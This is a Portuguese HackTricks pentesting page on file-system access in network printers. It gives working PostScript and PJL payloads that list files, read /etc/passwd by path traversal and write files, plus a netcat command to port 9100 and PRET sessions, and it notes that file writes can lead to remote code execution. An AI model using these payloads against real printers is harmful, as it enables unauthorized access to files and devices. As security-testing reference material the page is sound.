hacktricks/network-services-pentesting/pentesting-printers/file-system-access.md
2023-06-06 18:56:34 +00:00

7.8 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PostScript

Recupere informações sensíveis como arquivos de configuração ou trabalhos de impressão armazenados, RCE escrevendo arquivos (como editar scripts rc ou substituir arquivos binários). Construções de linguagem legítimas são definidas para PostScript e PJL para acessar o sistema de arquivos.

Acesse o sistema de arquivos com PostScript (observe que ele pode ser isolado limitando a ações inofensivas):

> /str 256 string def (%*%../*)                               % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)

> /byte (0) def                                                % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
>   (%stdout) (w) file byte writestring}
>   {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh

> /outfile (test.txt) (w+) file def}}                         % write to file
> outfile (Hello World!) writestring
> outfile closefile

Você pode usar os comandos do PRET: ls, get, put, append, delete, rename, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz e df.

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d        -   Jan  1  1970 (created Jan  1  1970)  bootdev
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi_ss
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_ram0
d        -   Jan  1  1970 (created Jan  1  1970)  etc
d        -   Jan  1  1970 (created Jan  1  1970)  tmp
d        -   Jan  1  1970 (created Jan  1  1970)  webServer

PJL

PJL (Printer Job Language) é uma linguagem de controle de impressora que permite aos usuários enviar comandos para a impressora. Esses comandos podem ser usados para configurar a impressora, obter informações sobre a impressora e executar outras funções. Os comandos PJL são enviados para a impressora como parte do trabalho de impressão e são interpretados pela impressora antes que o trabalho de impressão seja iniciado.

Os comandos PJL podem ser usados para acessar o sistema de arquivos da impressora e executar comandos no sistema operacional da impressora. Isso pode ser usado para obter acesso ao sistema de arquivos da impressora e, potencialmente, obter acesso a outras partes da rede.

Alguns comandos PJL úteis incluem:

  • @PJL INFO ID - Obtém informações sobre a impressora, incluindo o nome do modelo e o número de série.
  • @PJL FSUPLOAD - Carrega um arquivo para o sistema de arquivos da impressora.
  • @PJL FSINFO - Obtém informações sobre o sistema de arquivos da impressora.
  • @PJL DIRLIST - Lista os arquivos no sistema de arquivos da impressora.

Para enviar comandos PJL para uma impressora, você pode usar uma ferramenta como o netcat para se conectar à porta de impressão da impressora e enviar os comandos diretamente. Por exemplo:

echo -e "@PJL INFO ID\r\n" | nc <ip_da_impressora> 9100

Isso enviará o comando @PJL INFO ID para a impressora no endereço IP especificado na porta 9100. A resposta da impressora será exibida na saída do netcat.

> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535               (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR

> @PJL FSQUERY NAME="0:\..\..\etc\passwd"                     (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh

> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt"                  (write to file)
> Hello World!

De qualquer forma, o acesso a arquivos com PJL não é suportado por muitas impressoras.

Você pode usar os comandos do PRET: ls, get, put, append, delete, find, mirror, touch, mkdir, cd, pwd, chvol, traversal, format, fuzz e df.

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d        -   bootdev
d        -   dsk_jdi
d        -   dsk_jdi_ss
d        -   dsk_ram0
d        -   etc
d        -   lrt
d        -   tmp
d        -   webServer
d        -   xps

Saiba mais sobre possíveis formas de burlar o sandbox usando limitações do PostScript e PJL em http://hacking-printers.net/wiki/index.php/File_system_access

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥